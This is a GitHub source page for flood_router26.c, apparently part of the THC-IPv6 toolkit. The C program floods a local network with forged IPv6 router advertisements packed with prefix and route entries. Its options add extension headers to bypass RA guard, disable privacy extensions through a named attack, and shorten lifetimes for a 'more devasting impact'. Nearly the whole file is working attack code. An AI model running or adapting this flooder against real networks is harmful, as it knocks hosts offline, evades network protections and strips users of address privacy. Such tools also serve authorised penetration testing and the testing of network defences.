-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathflood_router26.c
225 lines (212 loc) · 5.91 KB
/
flood_router26.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
#define ENTRIES 17
void help(char *prg) {
printf("%s %s (c) 2013 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-HFD] [-s] [-RPA] interface\n\n", prg);
printf("Flood the local network with router advertisements.\n");
printf("Each packet contains %d prefix and route enries\n", ENTRIES);
printf("-F/-D/-H add fragment/destination/hopbyhop header to bypass RA guard security.\n");
printf("-R does only send routing entries, no prefix information.\n");
printf("-P does only send prefix information, no routing entries.\n");
printf("-A is like -P but implements an attack by George Kargiotakis to disable privacy extensions\n");
printf("The option -s uses small lifetimes, resulting in a more devasting impact\n");
// printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *mac6 = mac, *ip6;
unsigned char buf[1460], buf2[6], buf3[1504];
unsigned char *dst = thc_resolve6("ff02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i, j, k, type = NXT_ICMP6, route_only = 0, prefix_only = 0, offset = 14;
unsigned char *pkt = NULL;
int pkt_len = 0, rawmode = 0, count = 0, deanon = 0, do_hop = 0, do_frag = 0, do_dst = 0;
int cnt = ENTRIES, until = 0, lifetime = 0x00ff0100, mfoo;
thc_ipv6_hdr *hdr = NULL;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "DFHRPArs")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 's':
lifetime = 0x03000000;
break;
case 'A':
deanon = 1;
prefix_only = 1;
cnt = 5;
until = 256;
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'R':
route_only = 1;
cnt += ENTRIES;
break;
case 'P':
prefix_only = 1;
cnt += ENTRIES;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[optind];
mtu = 1500;
size = 64;
k = rand();
ip6 = malloc(16);
memset(ip6, 0, 16);
ip6[0] = 254;
ip6[1] = 128;
ip6[9] = ( k % 65536) / 256;
ip6[10] = k % 256;
ip6[15] = 1;
k++;
if (do_hdr_size)
offset = do_hdr_size;
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5; // mtu
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 1; // mac
buf[17] = 1;
// 18-23 = mac address
buf[19] = 12;
j = 24;
if (route_only == 0) {
for (i = 0; i < cnt; i++) { // prefix
buf[j] = 3; // prefix
buf[j+1] = 4;
buf[j+2] = size;
buf[j+3] = 128 + 64 + 32;
memcpy(buf + j + 4, (char*) &lifetime, 4);
memcpy(buf + j + 8, (char*) &lifetime, 4);
// buf[j+5] = 2;
// buf[j+9] = 1;
// memset(&buf[j+16], 255, 8);
if (deanon) {
buf[j+16] = 0xfd;
buf[j+17] = 0x00;
} else {
buf[j+16] = 0x20;
buf[j+17] = 0x12;
}
buf[j+18] = (k % 65536) / 256;
buf[j+19] = k % 256;
j += 32;
k++;
}
}
if (prefix_only == 0) {
for (i = 0; i < cnt; i++) { // route
buf[j] = 24;
buf[j+1] = 3;
buf[j+2] = size;
buf[j+3] = 8;
memcpy(buf + j + 4, (char*)&lifetime, 4);
// buf[j+5] = 1; // 4-7 lifetime
// memset(&buf[j+8], 255, 8);
buf[j+8] = 32;
buf[j+9] = 4;
buf[j+10] = k / 256;
buf[j+11] = k % 256;
j += 24;
k++;
}
}
printf("Starting to flood network with router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (until != 1) {
memcpy(&buf[20], (char*)&k, 4);
memcpy(ip6 + 11, (char*)&k, 4);
k++;
for (i = 0; i < cnt; i++) {
if (route_only == 0)
memcpy(&buf[24 + 20 + i*32], (char*)&k, 4);
k++;
if (prefix_only == 0)
if (route_only == 0)
memcpy(&buf[24 + 12 + i*24 + cnt*32], (char*)&k, 4);
else
memcpy(&buf[24 + 12 + i*24], (char*)&k, 4);
k++;
}
count++;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6)
type = NXT_FRAG;
for (i = 0; i < do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (lifetime != 0x03000000)
mfoo = 0xff08ffff;
else
mfoo = 0xff080003;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, mfoo, buf, j, 0) < 0)
return -1;
if (do_dst) {
thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
hdr = (thc_ipv6_hdr *) pkt;
thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240);
} else {
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
printf("!");
}
}
pkt = thc_destroy_packet(pkt);
// usleep(1);
if (count % 100 == 0)
printf(".");
if (until > 1)
until--;
}
if (deanon)
printf("\nPrivacy extension attack done.\n");
return 0;
}